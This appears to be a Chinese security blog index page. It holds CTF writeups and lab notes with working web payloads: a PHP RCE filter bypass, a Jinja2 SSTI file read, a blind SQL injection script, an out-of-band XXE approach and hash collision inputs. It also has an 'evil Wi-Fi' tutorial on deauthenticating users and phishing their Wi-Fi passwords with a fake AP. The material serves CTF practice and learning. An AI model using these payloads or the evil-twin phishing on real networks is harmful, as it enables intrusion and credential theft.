2024第一次线上赛WP

MISC 办公室爱情(🙂) 办公室爱情wp 你这flag保熟吗(😐) 你这flag保熟吗wp 小明的电脑(😧) 小明的电脑wp 套娃生成器(🤯) 根据提示,在github上找到该项目 总共实现了以下几种娃: dolls_registry = ( (Base16Doll, Base32Doll, Base64Doll, Base85Doll), # Base系列编码,随机选择一种 (RGBAImageBytesDoll,), # 字节编码成 RGBA 图片 (BitReverseDoll, ByteReverseDoll), # 位翻转和字节翻转 (WeakZipDoll,), # 弱密码ZIP (QRCodeDoll,), # 字符串编码成二维码 (MostSignificantByteDoll, LeastSignificantByteDoll), # 隐写LSB/MSB ) 生成逻辑是上面每行的娃随机选择一个,然后打乱顺序递归生成结果。如果生成的结果超过当前娃的最大承载长度,就将这个娃和上一个娃交换位置,然后重新生成。(具体逻辑见 encode.py) 其中,QRCodeDoll 会生成一个二维码图片,由于二维码我没有找到可靠的办法来承载二进制,所以它实际上存储的是 Base64 编码的二进制数据。 另外,对于 RGBAImageBytesDoll、MostSignificantByteDoll 和 LeastSignificantByteDoll,由于存储的数据长度可能不足容量,所以存储的前四字节为大端序的数据长度。 此外,WeakZipDoll 生成的密码选择在五位数字的原因是因为这是在我的机器上 Python 多进程能在 60 秒内稳定破解的最长密码(有考虑过六位数字,但是不能稳定破解,可能需要写 C binding,感觉有点麻烦就放弃了)。 解题脚本见 solve.py,其中具体实现的逻辑是对于输入的特征选择尝试解码的娃,如果解码成功但是结果不清晰就递归解码,直到解码成功且结果清晰(或者持续解码但是直到低于最小可能长度仍然无法解码就失败);如果解码失败就尝试下一个娃。 solve.py: import re import sys from base64 import decodebytes import pwn as p from matryoshka.dolls.base import DollError, DollsBase from matryoshka.dolls.multi_base import Base16Doll, Base32Doll, Base64Doll, Base85Doll from matryoshka.dolls.qrcode_encode import QRCodeDoll from matryoshka.dolls.reverse import BitReverseDoll, ByteReverseDoll from matryoshka.dolls.rgb_bytes import RGBAImageBytesDoll from matryoshka.dolls.significant_byte import ( LeastSignificantByteDoll, MostSignificantByteDoll, ) from matryoshka.dolls.weak_zip import WeakZipDoll def decode( data: bytes, round: int = 1, result_regex=rb"flag{.*?}", accepted_dolls: tuple[type[DollsBase], ...] = (), length_threshold: int = 10, ): def prefixed_print(*args): p.log.info(" ".join(["--" * round + ">", *map(str, args)])) prefixed_print("entering round", round) attempts: list[type[DollsBase]] = [] if data.startswith(b"PK"): # PK is the magic number for ZIP files attempts.append(WeakZipDoll) if data.startswith(b"\x89PNG"): # PNG magic number attempts.append(RGBAImageBytesDoll) attempts.append(LeastSignificantByteDoll) attempts.append(MostSignificantByteDoll) if data.isascii(): # ASCII charset = {bytes([c]) for c in data} if charset == {b"0", b"1"}: attempts.append(QRCodeDoll) else: attempts.append(Base16Doll) attempts.append(Base32Doll) attempts.append(Base64Doll) attempts.append(Base85Doll) attempts.append(BitReverseDoll) attempts.append(ByteReverseDoll) attempts = [attempt for attempt in attempts if attempt not in accepted_dolls] for attempt in attempts: prefixed_print(f"trying {attempt.__name__}") try: result = attempt().decode(data) except DollError as e: prefixed_print(f"failed {attempt.__name__}: {e}") continue if len(result) < length_threshold: prefixed_print(f"failed {attempt.__name__}: length not accepted") continue if re.search(result_regex, result, re.DOTALL): prefixed_print(f"success {attempt.__name__}: {result}") return result prefixed_print("result not clear, recursive decode begin") result = decode(result, round + 1, result_regex, (*accepted_dolls, attempt)) if result: return result prefixed_print("round failed") return None if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <host> <port>") sys.exit(1) _, host, port = sys.argv s = p.remote(host, port) s.recvuntil(b"name") s.sendline(b"mix") while True: data = s.recvuntil(b"-----END MATRYOSHKA MESSAGE-----") round_data = re.search(rb"Round (\d+)/(\d+)", data) assert round_data round = int(round_data.group(1)) total_rounds = int(round_data.group(2)) p.log.info(f"Round {round}/{total_rounds}") data_chunk = re.search( b"-----BEGIN MATRYOSHKA MESSAGE-----\n(.*)\n-----END MATRYOSHKA MESSAGE-----", data, re.DOTALL, ) assert data_chunk data = decode(decodebytes(data_chunk.group(1))) assert data s.sendline(data) if round == total_rounds: break s.interactive() CRYPTO baby_rsa(🙂) from Crypto.Util.number import long_to_bytes from gmpy2 import invert, is_prime from tqdm import tqdm ​ primes = [] ​ for xy in tqdm(range(500)): for mn in range(500): prime = xy**(mn+1) - (xy+1)**mn if prime.bit_length() > 2048: break if is_prime(prime): primes.append(prime) ​ c = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982906066972340414398928411147970593935244077925448732772473619783079328351522269170879807064111318871074291073581343039389561175391039766936376267875184581643335916049461784753341115227515163545709454746272514827000601853735356551495685229995637483506735448900656885365353434308639412035003119516693303377081576975540948311 ​ for i in range(len(primes)): for j in range(i, len(primes)): pq = primes[i]*primes[j] if len(bin(pq)[2:]) == 2048: try: d = invert(0x10001, (primes[i]-1)*(primes[j]-1)) dec = long_to_bytes(pow(c, d, pq)) if b"flag{" in dec: print(dec) except ValueError: pass 已知((fac[0]+fac[1]+fac[2]) « 1) - 1的值,用其替代n。分解((fac[0]+fac[1]+fac[2]) « 1) - 1求其欧拉函数,进而求解出d和第二段。 ...

March 24, 2024 · 9 min · Red

[靶场笔记]第十五章

参数逃逸 在靶场笔记第三章里提到过下面这种方法来绕过一些带有函数限制的waf 但这种方法有点局限,就是flag文件名必须中规中矩,而且一点也不适用于实战 所以我们可以对这种方法进行一点拓展,让他能够实现rce而不仅仅只是简单的读flag 这里以一道题为例 <?php ## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢???????????? if(isset($_GET['code'])){ $code=$_GET['code']; if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){ echo '看看你输入的参数!!!不叫样子!!';echo '<br>'; eval($code); } else{ die("你想干什么?????????"); } } else{ echo "居然都不输入参数,可恶!!!!!!!!!"; show_source(__FILE__); } 首先题目并没有告诉你flag名字是什么,所以肯定是得rce。这里我们得用到一种类似靶场笔记第十三章中用到的方法 直接看payload ?1=passthru("ls");&code=eval(pos(pos(get_defined_vars()))); get_defined_vars函数可以接收来自其他任何自定义参数的传值,且不受题目中waf的影响 os.path.join os.path.join(path, *paths) 函数用于将多个文件路径连接成一个组合的路径。第一个参数通常包含了基础路径,而之后的每个参数都被当做组件拼接到基础路径后 简单来说就是如果*paths参数所给的拼接路径是以/开头的,那么path所提供的路径就会被删除,将*paths提供的路径作为绝对路径进行访问 类似的python语言漏洞还有很多,可以参考这篇文章 _过滤 如果_在过滤清单里,可以用+代替 mysql特性 碰到一道奇怪的题,记录一下。先试了一下普通的sql注入,1’ or 1=1#,不行,看到wp在用'^0#,分号可以用于闭合,井号可以用于注释,^进行异或运算,等号就是判等,这里需要利用sql的一个点“mysql弱类型转换”,空异或0会查到所有非数字开头的记录 0e 在弱判断下,以0e开头的数字都为0。这点可以用来绕过相同md5值但是不同字符串的判断,这里给出几个实用的值 QLTHNDT 0e405967825401955372549139051580 QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 数组绕过与string强转化 之前提过如果碰到类似下面这样的代码 是可以通过使a1与a2都为数组,从而绕过md5强判断的。但是如果完整代码变成了 此时如果array1和array2的传值是array1[]=1&array2=2,是没有办法绕过的。原因就是php的数组在进行string强制转换时,会将数组转换为NULL类型 null=null就成立了,没绕过去 所以我们需要一个,md5前不相等,而md5后全等的。这里记录几组不同加密方式的碰撞结果 md5: array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 sha1: array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1 array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1 php的传值变量 不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线。 例如,当代码中写到$_GET['r_e_d']的时候,在url传值时可用使用/?r+e+d=来代替。就能够躲过_的过滤 同时,php的这两种常用传值还有另外一个特性,就是当[提前出现后,后面的点就不会再被转义了,such as:`CTF[SHOW.COM`等价于`CTF_SHOW.COM`。就能够用来绕过一些特殊场景 parse_url函数解析漏洞 看这里 反序列化与_construct方法 众所周知,这个方法是在创建对象的时候会被调用的。同时,写反序列化链子的时候不仅可用给变量赋值,而且还能给这个方法写东西(是不是很神奇,emm其实是我还没有彻底摸透反序化原理的原因,可能等后面彻底理解透了会返回来改这条记录)。这是一个例子 ...

March 9, 2024 · 1 min · Red

[技术杂谈]邪恶wifi

除了暴力破解wifi密码外,还有另一种方法获得wifi密码,让用户连接不上原本正确的wifi,迫使他连接到我创建的假wifi,从而进行中间人攻击 开始搭建 进入kali后线安装下面这些必要软件包 安装完后,先查看无线网卡状态 可以看到,wlan0支持2.4G频段,wlan1支持5G频段。 先来看一下我们的攻击思路 正常的网络环境下有这两台设备组成 此时使用解除认证攻击将受害者与真wifi之间的连接断开 使用与真wifi相同的名字再生成一个假wifi,受害者就能连上我们的假wifi。这里为了方便解释,将两个网卡分别使用两台电脑表示,实际操作只需在同一台设备进行即可。同时,用于生成假wifi的网频段也可使用5GHz,只是这里5GHz网卡需要用来进行对5GHz频段的真wifi进行解除认证攻击,而我也没有多出来的5GHz网卡,因此只能用2.4GHz网卡生成。有条件的可以用5GHz网卡,提高伪装度 接着我们使用这条命令清理一些可能干扰实验的进程 使用这条命令将wlan1改成监听模式 再次查看无线网卡状态,看到wlan1变为Monitor模式即可 接着使用这条命令扫描附近wifi,使用的网卡建议用wlan1,因为我们的攻击目标是5GHz 扫出结果后,假设我们以这个wifi为目标 接着使用下面这条指令,使用wlan0生成一个假wifi -nD是不使用取消验证攻击,-dK是不使用业力攻击,-e指定生成假wifi的名称,-i指定生成网卡 回车后看到四个选项,分别对应四个不同的假wifi模板 固件升级页面 OAuth登陆页面 浏览器插件更新页面 网络管理器页面 这里以第一个为例,会给受害者一个类似路由器固件升级的页面进行,欺骗其输入密码。当然你也可以自定义页面,手动修改页面内容 生成成功后会看到出现了一个和真wifi名一样的假wifi 接下来我们要做的就是断开受害者与真wifi的连接,让受害者连上假wifi 打开一个新的窗口,刚刚我们已经扫出真wifi的MAC地址和信道值,使用下面这条命令将wlan1修改到与真wifi相同的信道 最后使用这个命令开始对连接到真wifi的设备进行断连 此时手机就会连接上我们生成的假wifi 连接后手机就会跳出一个这样的网页 这就是一个仿造的固件升级页面,引导受害者在下面的输入框输入wifi密码。只要你对这个页面的内容进行一些修改,其实也可以引导受害者去输入一些其他的内容,具体能钓到什么就看自己对页面的伪装了 一旦用户点击了确认,kali就能获取到用户输入的密码了

March 6, 2024 · 1 min · Red

[靶场笔记]第十四章

JWT爆破 JWT和session其实有一点点相像,但JWT拥有session所没有的密钥签名验证。具体可以看这篇文章。简单来说就是必须要有对应的key才能对修改后的JWT进行重新加密 但是这种key是可以通过爆破得来的,一般会用这个工具 bind_oob_xxe 一种比较少见的攻击方式,拿一道题记录一下 数据包如下 很清楚可以看到一个外部请求的xml文件, 先回顾一下什么是xml、dtd、xxe xml:一种标签语言,带有各种可人为定义功能和名字的标签。标签就类似C++中的函数 dtd:类似专门定义源xml文件中所声明函数的文件,类似python的库,但是以文件的形式单独存在 xxe:利用xml解释器允许外部引用其他文件或协议的功能制造任意文件读取、RCE等漏洞的攻击方法 而bind_oob_xxe和普通xxe又有所不同,下面这张图就很好的展示了bind_oob_xxe的攻击流程 简单来说就是:在攻击者vps中的dtd放置恶意指令,再由攻击者vps中的xml文件引用该dtd,让受害者主动访问攻击者vps即可。 而之所以这样“绕一圈”在dtd中写恶意指令而不是直接在xml中写的目的,就是为了规避受害者xml解释器对恶意指令的过滤。接下来就以这道题为例,先在vps创建一个xml文件 还有dtd文件 以及一个php文件。有一点要注意就是,攻击者vps必须带有php环境且能够正常运行,因为是受害者来请求攻击者的php 最后再用python简单起一个http服务就能拿到/etc/passwd文件 cookie传参 做ssti注入时如果碰到了这种黑名单 ' " _ args -- 无法使用 request.args os -- 无法导入os 不允许post -- 无法使用 request.value 可以考虑用request.cookies接受参数。有点类似php中的?a=$_GET[1]&1=shell 下面是一个例子(jinjia2): 原版payload:{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}} 改版payload: {{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}} cookie:c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag 一个有关php://filter的细节 重点在最后一项,也就是说,如果碰到下面这两段payload php://filter/read=convert.base64-encode/resource=file.txt php://filter/convert.base64-encode/resource=file.txt 如果都是应用在file_get_contents($file),效果是一样的。不加write和read就是交由情况自动判断读或写 date函数 先看看参数 date函数有个功能,就是会自动将\进行转义,例如date($name),将name值是\f\l\a\g时会自动被转义成flag unicode代码 这是一段看似正常实际暗藏玄机的代码。看到注释后面的高亮想必就已经看出问题来了,毕竟高亮是不会骗人的。将这段代码复制到ide中会得到下面这个样的代码 会发现和在网页中看到的完全不一样。不过也不用担心,按照正常的GET参数名进行url编码后即可

February 28, 2024 · 1 min · Red

[靶场笔记]第十三章

if判断 写国赛题的时候碰到的盲注方法(因为平时很少写盲注题所以记录一下,应该是一种很基本的盲注方法🤔️) if(判断语句,真结果,假结果) 下面是一个示例exp import requests s=requests.session() flag = '' for i in range(1,50): for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}': url="..." sqls="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j) data={"id":sqls} c = s.post(url,data=data,timeout=10) if 'Hello' in c.text: flag += j print(flag) break base_convert() 这个函数可以在任意进制之间进行切换,例如 base_convert(37907361743,10,36) 就是把十进制转换为36进制,结果是_GET {1}&1=system 先来回顾一下这种用法 $a='system'; $a('cat/flag'); 此时很容易想到一种绕过方法 ?c=($_GET[a])($_GET[b])&a=system&b=cat /flag 但有时候题目狗到连[]都要给你过滤,此时就可以用标题的方法了 ?c=($_GET{a})($_GET{b})&a=system&b=cat /flag RC4加密 这里记录一个RC4加密脚本 from urllib import parse def s_init(key): S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + ord(key[i % len(key)])) % 256 # key的中括号里面一长串是为了循环填充K盒 S[i], S[j] = S[j], S[i] return S def rc4_encode(plain_text, key): S = s_init(key) temp_data = [] i, j = 0, 0 for s in plain_text: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256] temp_data.append(chr(ord(s) ^ k)) return ''.join(temp_data) def rc4_decode(cipher_text, key): S = s_init(key) temp_data = [] i, j = 0, 0 for s in cipher_text: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256] temp_data.append(chr(ord(s) ^ k)) return ''.join(temp_data) def rc4_encode_url(plain_text, key): return parse.quote(rc4_encode(plain_text, key)) if __name__ == '__main__': # keys = str(input("Enter the key: ")) keys = 'HereIsTreasure' plain = input("Enter the plain text: ") print("The encoded text is: " + rc4_encode_url(plain, keys)) local_file:// 碰到了一个这样的过滤 ...

February 17, 2024 · 2 min · Red